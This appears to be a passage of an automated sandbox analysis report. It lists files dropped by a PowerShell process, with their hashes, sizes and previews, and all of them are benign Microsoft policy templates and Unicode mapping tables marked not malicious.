Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="tpm" namespace="Microsoft.Policies.TrustedPlatformModule" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="TPMCategory" displayName="$(string.TPMCategory)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="ActiveDirectoryBackup_Name" class="Machine" displayName="$(string.ActiveDirectoryBackup_Name)" explainText="$(string.ActiveDirectoryBackup_Help)" key="Software\Policies\Microsoft\TPM">.. <parentCategory ref="TPMCategory" />.. <suppor

C:\Users\user\AppData\Local\Temp\file\Resource\TabletPCInputPanel.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11826
Entropy (8bit):	4.87917265387192
Encrypted:	false
SSDEEP:	192:vYI86Y1mf537vshUdUehUdUIvEut5Iout5I9JJ:f81mf537vshUdUehUdUIvEc5Ioc5I9JJ
MD5:	DC7AED82305FFEC011BDE9D153B7EE6F
SHA1:	649BF4156341969B999D125D2843C7027676619B
SHA-256:	B424D96915A50C753A4928A0EDC3EBF2AF7A0B3DD5B7B9CA8CB797B4A25EC458
SHA-512:	872FD58844DF267885E095EE5BC464D668A8C53CD99942AE938BA648215DCA58E352A5997ACEF6A377FF73FEB72C2E99EA6978B098FC9CD9F11D07DD29D26EE6
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="tabletpcinputpanel" namespace="Microsoft.Policies.TabletPCInputPanel" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="TabletTIP" displayName="$(string.TabletTIP)">.. <parentCategory ref="windows:TabletPC" />.. </category>.. </categories>.. <policies>.. <policy name="AutoComplete_1" class="User" displayName="$(string.AutoComplete)" explainText="$(string.AutoCompleteExplain)" key="software\policies\microsoft\TabletTip\1.7" valueName="DisableACIntegration">.. <parentCategory ref="TabletTIP" />

C:\Users\user\AppData\Local\Temp\file\Resource\TabletShell.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12331
Entropy (8bit):	5.085877792604995
Encrypted:	false
SSDEEP:	384:+ehZ4TXPEbvpP7U7T0a0IYjY2GFGIm8qC:+eM
MD5:	526596E9F11043EFB72E8FD3479B1134
SHA1:	C5644D949C1A2A1F1AA8E68A49539B162510A7CE
SHA-256:	E87F9FDCC35DE1E212456E027C9F35A1C5B4710520C53843AB1EEB3B6241BC36
SHA-512:	C6ABE6E394322A8DD377425118F051EC7068A4A185A02BE41955B2E042EC2FFE75AF20E180C7F5FC21F1BD8BDE78C7240265B30CAE1A7E90A7963E642825120B
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="tabletshell" namespace="Microsoft.Policies.TabletPCShell" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Accessories" displayName="$(string.Accessories)">.. <parentCategory ref="windows:TabletPC" />.. </category>.. <category name="Cursors" displayName="$(string.Cursors)">.. <parentCategory ref="windows:TabletPC" />.. </category>.. <category name="HardwareButtons" displayName="$(string.HardwareButtons)">.. <parentCategory ref="windows:TabletPC" />.. </category>.. <category na

C:\Users\user\AppData\Local\Temp\file\Resource\TaskScheduler.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5520
Entropy (8bit):	5.204520468148552
Encrypted:	false
SSDEEP:	96:QeD/mDm6ovKnKD5E/u8T/u8v/R8C/R8T/R82/R83/t8a/t8s/u8b/u8n/x8m/x8f:vYnuququURXRQRjR0tnt7uquuxFxtmEK
MD5:	81F5D01FCC855EAA4E2195A41354CF43
SHA1:	E671548F1BE0E041848387E29C886DF88DEC47EB
SHA-256:	7D908E972EFD3696084D60135A685B96553EF215A181DB900B70A2A5320DDC22
SHA-512:	7C8573DB0F1A821B642294A5848BA5AB67A71A7B944A19A9C79AC38782849E4E6B68C8036E01C9835AD931B79A268513FD662216689E39B321F956624BB14BDF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="taskscheduler" namespace="Microsoft.Policies.TaskScheduler" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="TaskScheduler" displayName="$(string.TaskScheduler)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="AllowBrowse_1" class="User" displayName="$(string.AllowBrowse)" explainText="$(string.AllowBrowseHelp)" key="Software\Policies\Microsoft\Windows\Task Scheduler5.0" valueName="Allow Browse">.. <parentCategory ref="TaskSche

C:\Users\user\AppData\Local\Temp\file\Resource\Taskbar.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12235
Entropy (8bit):	4.807876954110427
Encrypted:	false
SSDEEP:	96:QeD/meJSo2oIIyVuN70I+aVNI1V5eCItVaIMVlIVVAIWVY3IWVpIzlV/IDVtILVe:vASHUS/5tVYLzUkF4j/46OjYdFTcSz
MD5:	3719C04EEF608DFC5993E712C3430365
SHA1:	47F09D460851F47CF200EB3C81AE173EAF905761
SHA-256:	43E85AFE02807FE8EDDE9C7858A8085DF97113117F422A3485333988D966266C
SHA-512:	6CCFDE0271563F79CA53080C1907AE5C74F76083249684B041E8DB8C60C4A770306DD34636DFF1606756D788806929E3A5556BF7E8CF7AD63DDEEAE0D71F1BDB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="taskbar" namespace="Microsoft.Policies.TaskBar2" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="HideSCAPower" class="User" displayName="$(string.HideSCABattery)" explainText="$(string.HideSCABattery_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="HideSCAPower">.. <parentCategory ref="windows:StartMenu" />.. <supportedOn ref="windows:SUPPORTED_WindowsVista" />.. <enabledValue>.. <decimal value="1" />..

C:\Users\user\AppData\Local\Temp\file\Resource\TerminalServer-Server.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (342), with CRLF line terminators
Category:	dropped
Size (bytes):	18654
Entropy (8bit):	5.120782082996186
Encrypted:	false
SSDEEP:	384:+QqnQsuy9CsODa4a4Ym79b+vYm79b+VLdHEEHMgec+8yTJh67m3exgb:+QqnFJzjwjRdHEEHMtHfv6auWb
MD5:	FF63C2011F5455DFB88BF4E55E0C41BC
SHA1:	1120C97538348F5F9EB49C055D83C6AF77390C76
SHA-256:	975CE51517CD3EF6C7D8717F9966680BBC127EFB3EB18D7F7F17E06855702FD5
SHA-512:	6799EC3EFA857D9A88FC7479E7D1F6148304BAAB376E5E693BB9D9B44112FDF89D13E75D7BECABF2EFCE978F77BB9206E8D09B65BF890A6D54680628ACD8C0EF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="terminalserver-Server" namespace="Microsoft.Policies.TerminalServer-Server" />.. <using prefix="terminalserver" namespace="Microsoft.Policies.TerminalServer" />.. <using prefix="server" namespace="Microsoft.Policies.Server" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />..<categories>.. <category name="TS_APP_COMPATIBILITY" displayName="$(string.TS_APP_COMPATIBILITY)" explainText="$(string.TS_APP_COMPATIBILITY_Help)">.. <parentCategory ref="terminalserver:TS_TERMINAL_SERVER" />.. </category>.. <category name="RDS_VM_HOST_Nod

C:\Users\user\AppData\Local\Temp\file\Resource\TerminalServer.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (350), with CRLF line terminators
Category:	dropped
Size (bytes):	93542
Entropy (8bit):	5.045765160694501
Encrypted:	false
SSDEEP:	1536:PsieUgOROb+/bjuAGxejp/ajqG5g7DgMK0KaKoWdW+Q5AYk66QhqyRpl8vmdeSv5:PsieUgO/5qyRpj3gY3vsw
MD5:	EAA1A71D350B56D3EDEA127911ADC959
SHA1:	8D2A21120AC2B4A9EEC8DE3CB4531D3DA9C123F0
SHA-256:	87E28F940D8868D0460FD3372CCE184CF8145BCFFA50F70B5B1C2713ABB70C15
SHA-512:	8247A68B5A227170046B48F23F8980BD1AE96BD6143B72E2E77105C4F0B93C9EFD4EBED2FD9D01F1F964F307AAA44D668B327FB1E1BE255DA78ED04566C401AF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.1" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="terminalserver" namespace="Microsoft.Policies.TerminalServer" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.... <supportedOn>.. <definitions>.. At least Microsoft Windows Server 2003 with SP1-->.. <definition name="TS_SUPPORTED_Win2k3_Sp1" displayName="$(string.TS_SUPPORTED_Win2k3_Sp1)">.. <or>.. <range ref="products:MicrosoftWindowsServer2003" minVersionIndex="1" />.. <range ref="products:MicrosoftWindows" m

C:\Users\user\AppData\Local\Temp\file\Resource\Thumbnails.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2352
Entropy (8bit):	5.146917114784082
Encrypted:	false
SSDEEP:	48:3geDw08gmDRfZofbf+5e3dkIOAshde5nqIO2shdeX9SlOgsDPCq:QeD/mDRRoj25e3dkIOVde5nqIOrdeX9F
MD5:	C683F6AD17FF50BEF2C01849DF62E26B
SHA1:	2C0A3DE1DA8CE89E315A8E7FA4ECCA437704231A
SHA-256:	DD2524C5C4622F2C2EF5840559ED7A627C2E69B56AFD9C82C4B278F57A7BF7FF
SHA-512:	AAC342595F61E5ACBF2586DB97D0FE800D3336E379527C5B0EF618E119A62C12F3B4FB872B08EA287CFE03313559D9442E36861F7351B4A52A1A1FEC7F350DE5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="thumbnails" namespace="Microsoft.Policies.Thumbnails" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="DisableThumbnails" class="User" displayName="$(string.DisableThumbnails)" explainText="$(string.DisableThumbnails_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="DisableThumbnails">.. <parentCategory ref="windows:WindowsExplorer" />.. <supportedOn ref="windows:SUPPORTED_WindowsVista" />.. <

C:\Users\user\AppData\Local\Temp\file\Resource\TouchInput.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2740
Entropy (8bit):	5.184847789787456
Encrypted:	false
SSDEEP:	48:3geDw08gmDNH7fsI0ofHKnKMi5o34lpkld/L34lpklduZBZV47kfdBfZBZV47kfq:QeD/mD5EI0ovKnKB5E4l8dz4l8du7T4l
MD5:	76493E67F8D3F5DE1D0BFD5B8DAB7273
SHA1:	EBDECB2CE0D01FD778CA315436F6598470F4716C
SHA-256:	961F52ED14C291D67E640DCE3A9B59D3DA4B7B7FE864878A2A583E4E24AB8561
SHA-512:	BADB7230FCF2B4259F293895F6B9728B590C14E6144459DCDB28EB78C6CA6D3842492FFE64D14F503DD15107BDD1EA0B58B7B90799AEBD038107B4DD24812161
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="touchinput" namespace="Microsoft.Policies.TabletPCTouchInput" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="TouchInput" displayName="$(string.TouchInput)">.. <parentCategory ref="windows:TabletPC" />.. </category>.. </categories>.. <policies>.. <policy name="TouchInputOff_1" class="User" displayName="$(string.TouchInputOff)" explainText="$(string.TouchInputOff_Help)" key="SOFTWARE\Policies\Microsoft\TabletPC" valueName="TurnOffTouchInput">.. <parentCategory ref="TouchInput" />.. <sup

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\ICU\icudt26l.dat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	214512
Entropy (8bit):	5.620862548294959
Encrypted:	false
SSDEEP:	3072:C5em1am14oBR+pa3sHxW5D+eXHdsdj5xkq7KV2Sq71c64ZAr3Abyc7dAzATXcErQ:CR1R/UFTSO1TPcaMm
MD5:	525DE57B8D1167A4EFB7EB00C013354F
SHA1:	3F1AC2D2B6807C3ED2FC41351262712B72FAD749
SHA-256:	B388595D6E96E51430BEC6022B1A5635CA541E60936ABD73342AE8319DFE6802
SHA-512:	DFD950D1220F46BF5F75C4130902BB63A4447C435D25386461A4E4653E73DC6780577FB51B14B182A1F2B1A38585914237625B199D806B6F80F9BECC64EEFF32
Malicious:	false
Preview:	...'........CmnD........ Copyright (C) 2003, International Business Machines Corporation and others. All Rights Reserved. ..............`...2....j..E.......icudt26l_cnvalias.icu.icudt26l_unorm.icu.icudt26l_uprops.icu........ ..'........CvAl........................................\....... .....8.P................. .*.3.6.?.C.t.........&.?.Q.l...............).C.].w.................................A.~.....U.....-.I.......0...........!.T...........].y...........<.\.n.........$.?.X.s...............-.<.V.p.............&.5.D.S.b.q...............8.Y.y...............1.@.V.......#.J.q.........).W.g.............E.\.s.............$.?.N.].......4.e........._.s.................&.:.N.].q.....................C.X.m.........................................=.......!.7...S.J.......!.H.o.........'...U.D.....r......./.P.l.........8.l.............X.@.b.1.n.....5.......8.u.........G.+...,.C.Z.q...!...........\|.....y...0.......6...q.......H.y.......B.?.i.....w.......N.........H.........9.........3.....-.{.....

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10745
Entropy (8bit):	5.463218625267491
Encrypted:	false
SSDEEP:	192:sRDIlhfxjh5/q7Wr6KyfyHnW9WSQftm15VkCnl2moTTEmbZ3mrZWlBAjnBmnVRn8:sVCx27WuKy0W9WDlSVPlwd3C/BCVBFyB
MD5:	31D752FA13B4D1FC7B7B4747A3F6D3F9
SHA1:	EAAFD280B2EA187F078674B9A1D5A8206CCF4A13
SHA-256:	52DBABCDEBE38F3E19E9071D6796FE49F1463F03D2D82064AAB4A10BFBD4DDDF
SHA-512:	ED402D201B19C9EDEEEFA17D2F82A480B8D16CE3235668A91BDD0E6F3B59CBB55BC7119A272C34D1C4E88999B6FE08697D65D65E7B4DE44C197E57F2FF44F079
Malicious:	false
Preview:	#..# Name: Adobe Symbol Encoding to Unicode..# Unicode version: 2.0..# Table version: 1.0..# Date: 2011 July 12..# ..# Copyright (c) 1991-2011 Unicode, Inc. All Rights reserved...# ..# This file is provided as-is by Unicode, Inc. (The Unicode Consortium). No..# claims are made as to fitness for any particular purpose. No warranties of..# any kind are expressed or implied. The recipient agrees to determine..# applicability of information provided. If this file has been provided on..# magnetic media by Unicode, Inc., the sole remedy for any claim will be..# exchange of defective media within 90 days of receipt...# ..# Unicode, Inc. hereby grants the right to freely use the information..# supplied in this file in the creation of products supporting the..# Unicode Standard, and to make copies of this file in any form for..# internal or external distribution as long as this notice remains..# attached...# ..# Format: 4 tab-delimited fields:..#

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12296
Entropy (8bit):	5.3793384753346905
Encrypted:	false
SSDEEP:	192:IcRDIlhXomP1RueMV1tQdS6t0Ftjzt8CFrMbyaYQgtrtXiPIn:IcV+ombupV1mdS5SC+20I
MD5:	691886379048A5F9065EE903757AF29B
SHA1:	9F6453E6F027E771602AD98C5379EAA2B2469463
SHA-256:	E7651BCF12532AF30C79C499E7A280CCBCD7F208436999A21B1500B07149BC95
SHA-512:	E2934BD4F36CC21E1D71C4FCFC3C31D091A54F04762B0CF7B20FD6BF70CE30FD209A406020C82C565005BC0677471EB524B5A537059E29E4231955FC9307216C
Malicious:	false
Preview:	#..# Name: Adobe Zapf Dingbats Encoding to Unicode..# Unicode version: 2.0..# Table version: 1.0..# Date: 2011 July 12..# ..# Copyright (c) 1991-2011 Unicode, Inc. All Rights reserved...# ..# This file is provided as-is by Unicode, Inc. (The Unicode Consortium). No..# claims are made as to fitness for any particular purpose. No warranties of..# any kind are expressed or implied. The recipient agrees to determine..# applicability of information provided. If this file has been provided on..# magnetic media by Unicode, Inc., the sole remedy for any claim will be..# exchange of defective media within 90 days of receipt...# ..# Unicode, Inc. hereby grants the right to freely use the information..# supplied in this file in the creation of products supporting the..# Unicode Standard, and to make copies of this file in any form for..# internal or external distribution as long as this notice remains..# attached...# ..# Format: Three tab-delimited

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12919
Entropy (8bit):	5.2462976949839515
Encrypted:	false
SSDEEP:	192:X1ei8BsiHo6ZD5OSlEZGWRBnBb7ec56ZXj3nZv0CU8+zLtVoeuq/W+vsAfzMUMQi:FeDsiV4SlTWRRBb7e6b6D
MD5:	3EA4A9A2765040C721374CCBB8E7BD59
SHA1:	BAE4C79A9E9C27CBB7308BB364F69566387CCE45
SHA-256:	AE8FDF0311FE249EE1A3E08FE36C394CA2DA791C622B665DDEBCB623AC248903
SHA-512:	1A86665A081C73D170AC6BA9A3ABFBEDECD71557B274D99E254A446E852E6C62CC0BF383EEAFBFC1722F63AF65B4E4BC73F9E0EBC6FD790317B08FFD488BE289
Malicious:	false
Preview:	#=======================================================================..# FTP file name: CENTEURO.TXT..#..# Contents: Map (external version) from Mac OS Central European..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b1>, ufrm<b1>, and Text..# Encoding Converter version 1.5...# n05 1998-Feb-05 Update header comments to new format; no..# mapping changes. Matches internal utom<n3>,..# ufrm<n13>, and Text Encoding Converter..# version 1.3...# n03 1995-Apr-15 First version (after fixing some typos)...# Matches internal ufrm<n5>...#..# Standard header:.

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	18923
Entropy (8bit):	5.022754936026668
Encrypted:	false
SSDEEP:	384:+aT8iQfVsEByru8n1ePc1RJ1lX1HEvSZ3:dIqEc/X1kvSZ3
MD5:	0FBAD8E1C335AC42617936AA6F89EC89
SHA1:	02BA453ABFBE24B25C35A2D75C6134714B3D7D43
SHA-256:	83246B8C942CBACF1031445A99E62ACBB4733EF4167BEBFBA2BD852869824EAB
SHA-512:	AB9E0BB4CAE4C72CBCCF7D061F1F181DC86277E8E59424802422C6641BEC864D3E87B2261D56CB7991E3F60C5C6F56A814073F7D180745B8499C05C39F93842A
Malicious:	false
Preview:	#=======================================================================..# FTP file name: CORPCHAR.TXT..#..# Contents: Registry (external version) of Apple use of..# Unicode corporate-zone characters...#..# Copyright: (c) 1994-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b03 1999-Sep-22 Update contact e-mail address. Matches..# internal registry <b3> and Text Encoding..# Converter version 1.5...# b02 1998-Aug-18 Expanded usage of 0xF8A0. Matches internal..# registry <b3>...# n11 1998-Feb-05 Minor update to header comments..# n09 1997-Dec-14 Update to match internal registry <n23>:..# Add source hint 0xF850, transcoding hints..# 0xF860-0xF86B and 0xF870-0xF872,

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13523
Entropy (8bit):	5.296024692716919
Encrypted:	false
SSDEEP:	192:xO1i8BsiHo9EB0QguBwjEZGWRBnBb7ec56ZcjVNs0sDTZLzPF5Ofzwswsc3ATpGE:A1Dsi1BwjTWRRBb7e6vY9PspP
MD5:	5C36E2CBA7FDD612C575D50974EF708A
SHA1:	B7A92B10DE26A0E23434152694302E4867B011DC
SHA-256:	F353D83DEF5C9632FFD1925A0F1480E3DC0E00C096AFF5680E448CBFD97FAD05
SHA-512:	9A2A71BF2DE141F7E0A295AD40824E63B7B18F1D530D90B5EDEEC78DD23EAAB733D40F95EC320EE2C7686A113BEE58FB92D48875D347C669C4C82F9AC27AF76E
Malicious:	false
Preview:	#=======================================================================..# FTP file name: CROATIAN.TXT..#..# Contents: Map (external version) from Mac OS Croatian..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 8.5; change..# mapping of 0xDB from CURRENCY SIGN to EURO..# SIGN. Update contact e-mail address. Matches..# internal utom<b2>, ufrm<b2>, and Text..# Encoding Converter version 1.5...# n07 1998-Feb-05 Minor update to header comments..# n05 1997-Dec-14 Update to match internal utom<5>, ufrm<16>:..# Change standard mapping for 0xBD from U+2126..# to its canonical decomposit

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13403
Entropy (8bit):	5.295063801170879
Encrypted:	false
SSDEEP:	192:BWDRi8BsiHopYZXC4JqANEZGWRBnBb7ec56ZmuZ6VfDjCfzB+CXp1:kDRDsiZZXC4qWTWRRBb7e6/o6NIXD
MD5:	DB4ED5C205FDDD693DC9CE69CCCAD036
SHA1:	FFAE0BE88D51D71FB1E496156564E55F874EFAD9
SHA-256:	10738CD5BBA3B23C02D3655BF2AFDF72DAEAAEF778CDA562C6D10AE8D25CA591
SHA-512:	0402D575C17D03E7AF8BF44F36EAD7D4CCD283375B65D94597ED927A3975D5427483C681A2C604B6F61D796E9C92868620594B7661DE6321920C23A6BA281C96
Malicious:	false
Preview:	#=======================================================================..# FTP file name: CYRILLIC.TXT..#..# Contents: Map (external version) from Mac OS Cyrillic..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 9.0 to merge..# with Mac OS Ukrainian and support EURO SIGN;..# Change mappings for 0xA2, 0xB6, and 0xFF...# Update contact e-mail address. Matches..# internal utom<b2>, ufrm<b2>, and Text..# Encoding Converter version 1.5...# n05 1998-Feb-05 Update header comments to new format; no..# mapping changes. Matches internal utom<n3>,..# ufrm<n13>, and Text Enc

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13326
Entropy (8bit):	5.304052629613915
Encrypted:	false
SSDEEP:	192:mHQSi8BsiHoGHUdfJt8skBEZGWRBnBb7ec56ZSj2z0sVRQvWJ9mfzDmb+mtGf0D:yhDsiydb8siTWRRBb7e6qvVCe8X2
MD5:	962D73AE58EA74DFA492BDA68064F130
SHA1:	B3ECD08894988A66C190AB75B88C3CC752ABA34F
SHA-256:	1CE082E86367551B2A21465D1B1C2EDC103242F7D565411DCEA0762E3DD63AA1
SHA-512:	5C3C8EE79C6714097B58276905F2532B1D8BE07FBE8DB129624F130BD6622BBA604393673D2932A08DF79EEA83CAEAF2CE157893EDE76BEF6FC1027573EA8592
Malicious:	false
Preview:	#=======================================================================..# FTP file name: GREEK.TXT..#..# Contents: Map (external version) from Mac OS Greek..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b1>, ufrm<b1>, and Text..# Encoding Converter version 1.5...# n06 1998-Feb-05 Update to match internal utom<n4>, ufrm<n17>,..# and Text Encoding Converter versions 1.3:..# Change mapping for 0xAF from U+0387 to its..# canonical decomposition, U+00B7. Also..# update header comments to new format...# n04 1995-Apr-15 First version (after fixing some typ

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14175
Entropy (8bit):	5.302410102144604
Encrypted:	false
SSDEEP:	192:496i8BsiHo4wg68wkw3EZGWRBnBb7ec56ZcjVNs0sDTZLF8GYpfzIiB7Ubc3jTpM:66Dsi61kw3TWRRBb7e6vYMGPaO
MD5:	48F0F1332ACA28076F1D479D8A1C0447
SHA1:	E19B21754D221F5FA53AECFB01B2578D9974F35D
SHA-256:	E04B3C96F65A27030B5E4B071D8E61B8EDE1D94CF7BF7845262B29BE2B7656AC
SHA-512:	7360AAB0683F102420E850E5B0CA7E366F605AEC7A3BE4305DC0FB27270209A006DC5AE1A28F68A7C4241BD1A674A215CE9C197E25AA3E18744691C1B987ABE6
Malicious:	false
